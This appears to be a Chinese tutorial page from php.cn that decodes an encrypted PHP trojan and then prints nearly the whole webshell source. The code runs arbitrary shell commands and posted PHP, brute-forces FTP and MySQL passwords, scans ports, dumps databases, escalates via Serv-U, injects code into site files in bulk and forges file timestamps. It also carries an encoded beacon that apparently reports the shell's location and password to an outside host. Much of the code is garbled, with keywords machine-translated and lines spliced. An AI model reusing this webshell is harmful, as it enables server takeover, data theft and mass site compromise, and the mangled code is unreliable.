加密破解 php 木馬的分析加密破解

WBOY
發布: 2016-07-29 08:39:49
原創
11651 人瀏覽過

分析可以知道,此木馬經過了base64進行了編碼,然後進行壓縮。雖然做了相關的保密措施,可是php程式碼要執行,最後要產生php原始碼,所以寫出如下php程式對其進行解碼,解壓縮,寫入檔案。
解碼解壓縮程式碼如下:

複製程式碼 程式碼如下:


function writetofunction $filename, $data)
{ //File Writing
$filenum=@fopen($filename,"w");
if (!$filenum) {
return false;
}
flock($filenum,LOCK_EX);
$file_data=fwrite($filenum,$data);
fclose($filenum);
return true;
}
? >

然後在php的環境下進行運行,會得到php明文檔案如下:

複製程式碼 程式碼如下:


error_reporting(7);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0 ];
@set_time_limit(0);
//非安全模式可以使用上面的函數,逾時取消。
/*===================== 程式設定=====================* /
// 是否需要密碼驗證,1為需要驗證,其他數字為直接進入.下面選項則無效
$admin['check'] = "1";
// 如果需要密碼驗證,請修改登陸密碼
//預設連接埠表
$hidden = "44997";
$admin['port'] = "80,139,21,3389,3306,43958,1433,5631";
//跳轉用的秒
$admin['jumpsecond'] = "1";
//Ftp破解用的連接埠
$alexa = "yes";
/ /是否顯示alexa排名,yes或no
$admin['ftpport'] = "21";
// 是否允許phpspy本身自動修改編輯後檔案的時間為建立時間(yes/no)
$retime = "no";
// 預設cmd.exe的位置,proc_open函數要使用的,linux系統請對應修改.(假設是winnt系統在程式裡依然可以指定)
$cmd = "cmd.exe";
// 下面是phpspy顯示版權那欄的,因為被很多程式當成作為關鍵字殺了,魚寒~~允許自訂吧。還是不懂別改~~
/*===================== 設定結束=============== ======*/
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = $admin['pass'];
$copyurl = base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkUlNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9'); D4=');
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
$self = $_SERVER['PHP_SELF'];$dis_func = get_cfg_var( "disable_functions");
/*===================== 驗證=================== ====*/
if($admin['check'] == "1") {if ($_GET['action'] == "logout") {setcookie ("adminpass", "") ;echo "註銷成功......

三秒後自動退出或點選這裡退出程式介面>>>";exit;}
if ($_POST['do'] == 'login') {$thepass=trim($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+( 1*24*3600));echo "";exit;} }if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();}} else {loginpage();}}
/*===================== 驗證結束=====================*/
// 判斷magic_quotes_gpc 狀態
if (get_magic_quotes_gpc()) {$_GET = stripslashes_array($_GET);$_POST = stripslashes_array($_POST);} function shelL($command){
global $windows ,$disablefunctions;
$exec = '';$output= '';
$dep[]=array('pipe','r');$dep[]=array('pipe',' w');
if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean( );@ob_end_clean();}
elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; }
elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command, $output);$output = join("n",$output);$exec= $output;}
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec = shell_exec($command);}
elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);} pclose($output);}
elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($ pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get ('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents( $name);unlink($name);}
return $exec;
}
// 查看PHPINFO
if ($_GET['action'] == "phpinfo") {echo $ phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函式已停用,請查看";exit;
}if($_GET['action '] == "nowuser") {$user = get_current_user();
if(!$user) $user = "報告長官,主機變態,無法取得目前進行使用者名稱!";
echo"當前進程使用者名稱:$user";
exit;
}
if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]" );exit;
}
if($action=="mysqldown"){
    $link=@mysql_connect($host,$user,$password);
  $link {
        $downtmp = '資料庫連線失敗: ' . mysql_error();
    }else{
   result = @mysql_query($query, $link);
    if(!$result){
        $downtmp.
".mysql_error();
            }else{
    while ($row = mysql_fetch_array($result)) { 🎜>        if($rardown = =「是」){
            $zip = NEW Zip;
             $zip->Add($zipfiles) ,1 );
            $code = $zip->get_file();
           🎜>            $code = $row [0] ;
        }
        header("內容類型:應用程式/八位元組流");
    "接受長度: ". strlen($code));
        header("內容處理:附件;    }
    }
}
// 線上代理
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($ proxycontents) ? $proxycontents : "


取得URL 失敗內容 ;

";退出;
}
// 下載檔案
if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "";} else {$filename = basename($ downfile);$filename_info =explode('.', $filename);$fileext = $filename_info[count($filename_info)-1];header('內容型別:application/x-'.$fileext);header('內容處置:附件; filename='.$filename.'');header('內容描述: PHP 產生的資料');header('內容長度: '.filesize($downfile));@readfile($downfile) ;exit ;}
}
//直接下載備份資料庫
if ($_POST['backuptype'] == 'download') {
    @mysql_connect($servername,$dbusername,$dbpassword ) or die("資料庫連線失敗");
    @mysql_select_db($dbname) or die("選擇資料庫失敗");    
    $table = $result = mysql_query("顯示表");
    迴聲($結果)? NULL : "錯誤: ".mysql_error();
    $filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql");
    header('內容類型:應用程式/未知');
    header('內容處置:附件; filename='.$filename);
    $mysqldata = '';
    while $table[$currow[0]])) {
            $mysqldata.= sqldumptable($currow[0]);
       }
    }
    mysql_close();
    退出;
}
// 程式目錄
$pathname=str_replace('\','/',dirname(__FILE__dirname(__FILE__); =str_replace('\','/',$_SERVER["DOCUMENT_ROOT"]);
// 取得目前路徑
if (!isset($dir) 或 empty($dir)) {
$dir = ".";
    $nowpath = getPath($pathname, $dir);
} else {
    $dir=$_GET['dir']; }
// 判斷讀取與寫入狀況
$dir_writeable = (dir_writeable($nowpath)) ? "可寫" : "不可寫";
$phpinfo=(!eregi("phpinfo",$dis_func) ) ? " | PHPINFO()" :"";
$reg = (substr(PHP_OS, 0 , 3) == 'WIN') ? " | 花卉操作" :"";
$tb = 新表格;
? >


body,td{字體大小: 12px;背景顏色:#000000;顏色:#eee;
邊距:1px;左邊距:1px;
滾動條面部顏色:#232323;滾動條高亮顏色:#232323;
滾動條陰影顏色:#383838;滾動條-深色陰影-顏色:#383838;
捲軸-3DLIGHT-COLOR:#232323;捲軸箭頭顏色:#FFFFFF;
捲軸軌道顏色:#383838;}
a{color: #ddd;text-decoration: none;}a:hover{color:red;background:#000}
.smlfont {
    font-family: "Verdana", "Tahoma", "宋體";     字體大小:「11px」;
}
.INPUT {
    字體大小:「12px」;
    顏色:「#0000000」; 🎜>    高度:「18px」;
    邊框:「1px 實心#666666」;
    左內邊距:「2px」;
    左內邊距:「2px」;
    左內邊距:「2px」;
) .top {背景顏色: "#CCCCCC"}
.firstalt {背景顏色: "#EFEFEF"}
.secondalt {背景顏色:"#F5F5F5”}

function CheckAll(form) {
    for (var i=0;i      >        if (e.name != 'chkall')
        e.checked = form.chkall.checked; }}
功能if (t == 1) {window.location.href='?dir='+d+'&deldir=' +f;} else {window.location.href='?dir='+d+'&delfile='+f ;}}}

頭>



/ /$_SERVER["DOCUMENT_ROOT"]
$tb->tableheader()
$tb->tdbody(''.date("Y年月日h:i:s",time()).' '.gethostbyname($_SERVER[ 'SERVER_NAME']).'
'.$_SERVER['HTTP_HOST'] .'
','center','top');
$tb- >tdbody('根目錄 | Shell目錄 | 環境變數 | ="?action=proxy" href="?action=proxy" >線上代理'.$reg.$phpinfo.' | WebShell | hack" href="?action=crack">雜項破解; | 解壓縮mix.dll | 註銷登入');
$tb->tdbody('批量掛馬 | Http檔案下載 | 檔案目錄 | 執行php 腳本 | 執行SQL語句 | Func跳轉 | MySQL 備份 | Serv-U提權');
$tb->tablefooter();

$tb->headerform(array('method'=>'GET','content'=>'

程式路徑: '.$pathname.'
目前目錄(' .$dir_writeable.' ,'.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'
跳轉目錄: '.$tb- >makeinput('dir' ,''.$nowpath.'','','text','80').' '.$tb->makeinput('','確定','','提交').' 〖支援絕對路徑與相對路徑〗'));
$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>; ' 上傳文件到目前目錄: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','確定',' ','提交' ).$tb->makeinput('uploaddir',$dir,'','隱藏')));
$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'在目前目錄新檔案: '.$tb->makeinput( 'editfile').' '.$tb->makeinput('createfile','確定','','提交')));
$tb->headerform(array('content'=>'在目前目錄建立目錄:'.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','確定','','提交')));
? ======== 執行操作開始============= =======*/
echo "

n";
// 移除檔案
if (!empty($delfile)) {
    if (file_exists($delfile)) {
        echo (@unlink($del)) ? $delfile.“刪除成功!” : "檔案刪除失敗!";
    } else {
        echo basename($delfile)."已檔案不存在!";
    }
}
//刪除目錄
elseif (!empty($deldir)) {
    $deldirs="$dir/$deldir";
    if (!file_exists("$deldirs")) {
        echo "$deldir 目錄已不存在!";
    } else {
        echo (deltree($deldirs)) ? “目錄刪除成功!” : "目錄刪除失敗!";
    }
}
// 建立目錄
elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
    if (!empty($newdirectory)) {
    if (!empty($newdirectory)) {         if (file_exists("$mkdirs")) {
         >            echo (@mkdir("$mkdirs ",0777)) ? "創建目錄成功!" : "創建失敗!";
            @chmod("$mkdirs",0777); elseif ($doupfile) {
    echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile'][ 'name']."")) ? "上傳成功!" : "上傳失敗!";
}
elseif($action=="mysqlup"){
    $filename = $_FILES[' upfile']['tmp_name'];
    if(!$filename) {
        echo"沒有選擇上傳的檔案。 );
    $mysql = bin2hex($shell);
    if(!$upname) $upname = $_FILES['upfile']['name'];
   $mysql." from ".$database." into DUMPFILE '".$uppath."/".$upname."';";
    $link=@mysql_connect($host,$user,$password);
    if(!$link){
        echo "登陸失敗".mysql_error();
             if($ result){
            echo"成功. >                echo"上傳失敗原因:".mysql_error();
          🎜>}
elseif($action=="mysqldown"){
    if(!empty ($downtmp)) echo $downtmp;
}
// 編輯檔案
elseif ($_POST['do'] == 'doeditfile') {
    if (!empty($_POST[ 'editfilename'])) {
if(!file_exists($editfilename)) unset($retime);
    if($time==$now) $time = @filemtime($editfilename);
$time2 = @date("Y-m-d H:i:s",$time);
        $filename="$editfilename";
       🎜>        if($_POST['change']=="yes"){
        $filecontent = "?".">". = gzdeflate($filecontent);
$filecontent = base64_encode($filecontent);
$filecontent = "";
        }else{
        $filecontent = $_POST[ echo $msg=@fwrite($ fp,$filecontent) ? "寫入檔案成功!" : "寫入失敗!";
        @fclose($fp);
       魚魚自動操作:";
echo $msg=@touch($filename,$time) ? "修改文件為".$time2."成功!" : "修改文件時間失敗!";
        }
    } else {
       echo "請輸入想要編輯的檔案名稱!";
    }
}
//檔案// = 'downloads') {
    $contents = @file_get_contents($_POST['durl']);
    if(!$contents){
 >    }
    elseif(file_exists($path)){
    echo"很抱歉,檔案".$path."已經存在了,請更換儲存檔案名稱。";
    }else{
$fp = @fopen($path,"w");
    echo $msg=@fwrite($fp,$contents) ? "下載檔案成功!" : "下載檔案寫入時失敗!";
    @fclose($fp);
    }
}
elseif($ ['action )=="mix"){
elseif($ (!file_exists($_POST['mixto'])){
    $tmp = base64_decode($mixdll);
    $tmp = gzinflate($tmp) mixto'],"w");
    echo $msg=@fwrite($fp,$tmp) ? "解壓縮成功!" : "此目錄不可寫吧? !";
    fclose($fp);
}else{
    echo"不吧?".$_POST['mixto']."已經存在了耶~";
}
}
// 編輯檔案屬性
elseif ($_POST['do'] == 'editfileperm ') {
    if (!empty($_POST['fileperm'])) {
        $fileperm=base_convert($_POST      $fileperm=base_convert($_POST $dir."/".$file,$fileperm)) ? "屬性修改成功!" : "修改失敗!";
        echo " 檔案".$file." 修改後的屬性為: ".substr( base_convert(@fileperms($dir."/".$file),10,8),-4);
    } else {
        
}
// 檔案改名
elseif ($_POST['do'] == 'rename') {
    if (!empty($_POST['newname'])) {
        $newname=$_POST['dir']."/".$_POST['newname'];
        ['newname' ]." 已經存在,請重新輸入一個!";
        } else {
            echo (@rename($_POST['Roldname'),$d ." 成功改名為".$_POST['newname']." !" : "檔案名稱修改失敗!";
        }
    ) !";
    }
}
elseif ($_POST['do'] == 'search') {
if(!empty($oldkey)){
echo"if(!empty($oldkey)){
echo"找出關鍵字:[".$oldkey."],下方顯示尋找的結果:";
    if($type2 == "getpath"){
    echo"滑鼠移到結果文件上會有部分截取顯示.";
}
echo"


";
find($path);
} else{
echo"你要查蝦米?到底要查蝦米呢?有沒有蝦米要你查呢?";
}
}
elseif ($_GET['action']== 'plgmok') {
dirtree($_POST['dir'],$_POST['mm']);
}
elseif ($_GET['action'] == "plgm") {
    $action = '?action=plgmok';
    $gm = "" ;
    $tb->tableheader();
    $tb->formheader($action,'批次網站批次);
    $tb->tdbody('批次網站批次掛馬程式'center');
    $tb->tdbody('檔案位置: '.$tb->makeinput('dir',''.$_SERVER["DOCUMENT_ROOT"].'','','text' ,'60').'
要掛程式碼:'.$tb->maketextarea('mm',$gm,'50','5').''.$tb->makehidden('do' ,'批量掛馬').'
'.$tb->makeinput('submit','開始掛馬','','submit'),'center','1','35') ;
    echo "";
    $tb->tablefooter();
}//end plgm
//克隆時間
elseif ($_POST['do'] == 'domodtime') {
    if (!@file_exists($_POST['curfile'])) {
        echo "要修改的檔案不存在!"             echo "要參考的文件不存在!";
  time=@filemtime($_POST['tarfile' ]);
            echo (@touch($_POST['curfile'],$time,$time)) ?basename($_POST['curfile'])." 的修改時間成功改為".date(" Y-m-d H:i:s",$time)." !" : "文件的修改時間修改失敗!";
        }
    }
}
//// / ($_POST['do'] == 'modmytime') {
    if (!@file_exists($_POST['curfile'])) {
       >    }else {
        $year=$_POST['year'];
        $m         $分鐘=$_POST['分鐘'];
        $sec
        if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($min) AND !empty($second )) {
            $time=strtotime("$資料$月$   $_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." 的修改時間成功改為".date("Y-m-d H:i:s",$time) ." !" : "文件的修改時間失敗!";
        }
    }
}
elseif($do =='port'){
}
elseif($do =='port'){
}
",$port);
        $count = count($tmp);
    for($i=$first;$i            if($fp) echo"發現".$host."主機開啟了連接埠".$tmp[$i]."
";
    }
}
/*
這裡程式碼寫得很雜,老實說我自己都不知道要寫什麼。
好在能用,我沒管了,假設有人看到乾脆重寫吧。 */
elseif ($do == 'crack') {//顯然註冊為全域變數了。
    if(@file_exists($passfile)){
        $tmp = 檔案($passfile);
    onetime)){
            $onetime = $count;
            $turn="1    $nowturn = $turn+1;
            $now = $turn*$onetime;
$tt = intval(($count/$onetime)+1);
        }
        if($turn>$tt or破解最後一個進程的,很遺憾失敗。";
            }else{
                  for($i=$first;$i                   $ctype=="mysql") $sa = @mysql_connect($host,$user,chop($tmp[$i]));
               ) ) ]),$user,chop($tmp[$i]));
                if($sa)                    }
      🎜>                echo "     mysql_close();
// 備份作業
elseif ($_POST['do' ] = = 'backupmysql' ) {
    if (empty($_POST['table']) OR empty($_POST['backuptype'])) {
        echo "請選擇要備份的資料表; >    } else {
        if ($_POST['backuptype'] == 'server') {
       🎜 >            @mysql_select_db($dbname) or die("選擇資料庫失敗");    
            $table = array_flip($_POST['table']);
            $filehandle = @fopen($path,"w");
            if ($filehandle) {
               
                echo ($結果) ? NULL : "錯誤: ".mysql_error();
               while ($currow = mysql_fetch_array($result)) {
     🎜>                       sqldumptable($currow[ 0 ], $檔案控制碼);
                        fwrite($filehandle,"nnn");
                    }
            fclose($filehandle);
                echo "資料庫已成功備份到
".$path."";
                mysql_close();
            } else {
                
            }
        }
    }
}
elseif($downrar) {
    if (!empty($dl)) {
        if(eregi ."/".str_replace("unzipto:","",$localfile)."";
        $zip = new Zip;
     $zip = new Zip;
     
        $array=$zip->get_list($zipfile);
        $count= d=0;
        for($ i=0;$i            if($array[$i][folder]==0) { 0) $f++;
            }
            ($i==$f+$d) echo "$dl[0] 解壓縮到".$ path."成功
($f 個檔案$d 個目錄)";
        elseif($f==0) echo "$dl[0] 解壓縮到".$path."失敗";
        else echo "$dl[0] 未解壓縮完整
(已解壓縮$f 個檔案$d 個目錄)";
        } new Zip;
    for($k=0;isset($dl[$k]);$k++)
        {
    
            if(is_dir($zipfile))
            
                addziparray($dl[$k]);
         $i];$i++)
                {
                           $filesize=@filesize($dir."/".$zipfilearray[$i]);
                    $fp=@fopen($dir."/".$filename,rb); ,@fread($fp,$filesize));
                    @fclose( $fp);
                }
                   {
                $filename=$dl[$k];                 $zipfiles[]=Array($filename,@fread($f ose($fp);
            }
        }
        $zip->Add($zipfiles,1);
        $code = $zip->get_file(); )."";
        if(empty($localfile)){
        header("內容位元類型:應用程式/八 ;
        header("接受長度:".strlen($code));
        header("Content]HTposition:attachment; _Files.zip");
        echo $code;
        以退出;
   ."/".$localfile.""," w");
         echo $msg=@fwrite($fp,$code) ? "壓縮保存".$dir."/".$localfile."本地成功!!" : "目錄".$dir."無可寫權限!";
         @fclose($fp);
        }  >        echo "請選擇要打包下載的檔案!";
    }
}
// Shell.Application 執行程式
elseif(($_POST['do'] == 'programrun') AND !empty($_POSTempty($_POSTempty($_POSTempty($_POSTempty($_POSTempty($_POSTempty($_POSTempty($_POSTempty)($_POSTempty($_POSTempty)($_POSTempty($_POSTempty)($_POSTempty($_POSTempty)($_POST ['program'])) {
    $shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion');
    $a = $shell-> ShellExecute($_POST['program'],$_POST['prog']);
    echo ($a=='0') ? "程式已成功執行!" : "程式運作失敗!";
}
// 查看PHP設定參數狀況
elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) {
    echo "設定參數".$_POST['phpvarname']." 偵測結果: ".getphpcfg($_POST['phpvarname'])."";
}
// 讀取登錄機碼
elseif( ($regread) AND !empty($_POST['readregname'])) {
    $shell= &new COM('WSc'.'rip'.'t.Sh'.'ell');
  (@$shell->RegRead($_POST['readregname']));
}
// 寫入登錄
elseif(($regwrite) AND !empty($_POST['writeregname' ]) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
    $shell= &new COM('W'.'Scr'.'ipt.S' .'hell');
    $a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
  a=='0') ? "寫入登錄機碼成功!" : "寫入".$_POST['regname'].", ".$_POST['regval'].", ".$_POST ['regtype']." 失敗!";
}
// 刪除登錄
elseif(($regdelete) AND !empty($_POST['delregname'])) {
 $  shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll');
    $a = @$shell->RegDelete($_POST['delregname']);
    echo ($a=='0') ? "刪除登錄機碼成功!" : "刪除".$_POST['delregname']." 失敗!";
}
else {
    echo "$notice";
    echo "Program | pcAnywhere | 開始程式 | AllUsers | Serv-U | ";
    for ($i=66;$iif (is_dir($drive."/")){$ vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " $drive\";}
}
}
echo "

n";
/*====================== 執行操作結束==== ================ */
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET[ 'action'] == "dir")) {
    $ tb->tableheader();
? >

文件
    創建日期
最後修改 td>
大小
屬性
操作


//目錄列表
$dirs=@opendir($dir);
$dir_i = '0';
while ($file=@readdir($dirs)) {
    $filepath="$dir/$file";
    $a=@is_dir($filepath);         if($file!=".." && $file!=".")    {
         ));
            $mtime=@date("Y-m-d H:i:s",@filemtime($filepath)); ), -4);
            echo "n";
            echo " $file]> ;n”;
            echo " $ctime "smlfont">$mtimen";
            echo " 搜尋 a>n」;
            echo "
$dirpermn";
            echo " | 刪除; | 改名 | n";
            echo "
n";
                   if($file=="..") {
               echo "n";
                  由."/".urlencode($file)."">回上級目錄n";
                    }
    }
}// while
@closedir($dirs);

// 文件清單
$dirs=@opendir($dir);
$file_i = '0';
while ($file=@readdir($dirs)) {
    $filepath="$dir/$file";
    $a=@is_dir($filepath);
    if($a=="0"){        
        $size=@filesize($filepath);
        $size=$size/1024 ;
        $size= @number_format($size, 3);
        if (@filectime($filepath) == @filemtime($filepath)) {
            $ctime=@date("Y-m-date("Y.)
            $mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
        } else {
           $ctime="".@date("Y-m- Hfilei:s.d Hfileitime" ;
            $mtime="".@date("Y-m-d H:i:s",@filem path))."" > substr(base_convert(@fileperms($filepath),10,8),-4);
        echo "n";
      🎜>        echo "";
        echo "getget="file_blank$file$ a>n";
        echo " $ctimen"
     smlfont">$mtimen";
        echo " $size span> KBn ";
        echo "
$filepermn";
        echo " 下載 | 編輯
| ="" href="""#" $file 檔案嗎?','2')">刪除 | 改名 | 時間n";
        回顯「n」;
        $file_i++;
    }
}// while
@latedir($dirs);
if(get_cfg_var ('safemode'))$z = ""
else $z = "
";
$tb->tdbody('

'.$tb- >makeinput('chkall','on','name="change" value="yes" /".$ nowfile);
    $tb->makehidden('dir',$dir);   tb->tdbody('目前檔案名稱: '.basename($nowfile)); ->tdbody('改名為:'.$tb->makeinput('newname'));
    $tb->makehidden( 'do','重新命名');formfooter('1','30');
}//結束重新命名
elseif ($_GET['action'] == "eval") {
    $action = "?dir=".urlencode($dir)."";
   > $tbtb ->tableheader();
    $tb->formheader(''.$action.' "target="_blank' ,'執行php腳本');
    $tb->tdbody($tb->maketextarea ('phpcode',$contents));
    $tb->formfooter('1','30');
}
elseif ($_GET['action'] == "fileperm") {
    $action = "?dir=".urlencode($dir)."&file=".$file;
    $tb->tableheader();
   $tb->formheader($action,> '修改檔案屬性');
    $tb->tdbody('修改'.$file.' 的屬性為: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.' /'.$file) ),10,8),-4)));
    $tb->makehidden('file',$file);
    $tb->makehidden('dir',urlencode ($dir));
    $tb->makehidden('do','editfileperm');
    $tb->formfooter('1','30');
}//結束檔案權限
elseif ($_GET['action'] == "newtime") {
    $action = "?dir=".urlencode($dir);
    $cachemonth = array(' =>1,'二月'=>2,'三月'=>3,'四月'=>4,'五月'=>5,'六月'=>6,'7 月'=> 7,'8 月'=>8,'9 月'=>9,'10 月'=>10,'11 月'=>11,'12 月'= >12);
    $tb-> tableheader();
    $tb->formheader($action,'複製檔案最後時間');
    $tb->tdbody("修改檔案: ".$tb->makeinput('curfile',$,$$ file,'readonly')." → 目標檔: ".$tb->makeinput(' tarfile','需填完整路徑及檔名'),'center','2','30');
    $tb->makehidden('do','domodtime');
    $tb->formfooter('','30');
    $tb->formheader($action,'自訂檔案最後時間');
    $tb->tdbody('
  • 有效的計時器範圍是從格林威治時間1901 年12 月13 日星期五20:45:54 到2038 年1月19 日星期二03:14:07
    (該日期根據32 位有符號的下面和頂端傳來)
  • 說明:日取01 到30 之間,時取0 到24 之間,分和秒取0 到60 之間!
','left');
    $tb->tdbody('目前檔案名稱: '.$file);
$tb->makehidden('curfile',$file);
    $tb->tdbody('修改為:'.$tb->makeinput('year','1984','','text', '4').'年'.$tb- >makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'十月')).' 月'. $tb->makeinput('data ','18','','文本','2').' 日'.$tb->makeinput('小時','20','','文本' ,'2').'時'.$tb->makeinput('分鐘','00','','文本','2').' 分'.$tb->makeinput('秒', '00',' ','文本','2').'秒','中心','2','30');
    $tb->makehidden('do','modmytime') ;
    $tb->formfooter('1','30');
}//結束newtime
elseif ($_GET['action'] == "shell") {
    action = "??action=shell&dir=".urlencode($dir);
    $tb->tableheader();
    $tb->tdheader('WebShell 模式');
if (substr(( PHP_OS, 0, 3) == 'WIN') {
        $program = isset($_POST['program']) ? $_POST['program  prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt";
        echo "
n";
        $tb->tdbody('無回顯運作程式→ 檔案: '.$tb->makeinput(' program',$program).' 參數: '.$tb->makeinput('prog ',$prog,'','文本','40').' '.$tb->makeinput('','運行','','提交'),'center','2', '35');
        $tb->makehidden('do','programrun');  >n";
    }
echo "
n";
if(isset($_POST['cmd'])) $cmd = $_POST['cmd'];
    $tb->tdbody('提示:如果輸出結果不完全,建議把輸出結果寫入文件.這樣可以得到全部內容. ');
    $ tb->tdbody('proc_open函數假設不是預設的winnt系統請自行設定使用,自行修改記得寫入退出,否則會在主機上留下一個未結束的進程.');
    $tb->tdbody( 'proc_open函數要使用的cmd程式的位置:'.$tb->makeinput('cmd',$cmd,'','text','30').'(如果是linux系統還是大大們自己修改吧)');
$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'= >'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell','proc_open'=>'proc_open') : array('system'= >'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','proc_open'=>'proc_open') ;
$tb->tdbody('選擇執行函數: '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc) ).' 輸入指令: '.$tb->makeinput('command',$_POST['command'],'','text','60').' '.$tb->makeinput('', 'Run','','submit'));
?>

相關標籤:
來源:php.cn
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
最新問題
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板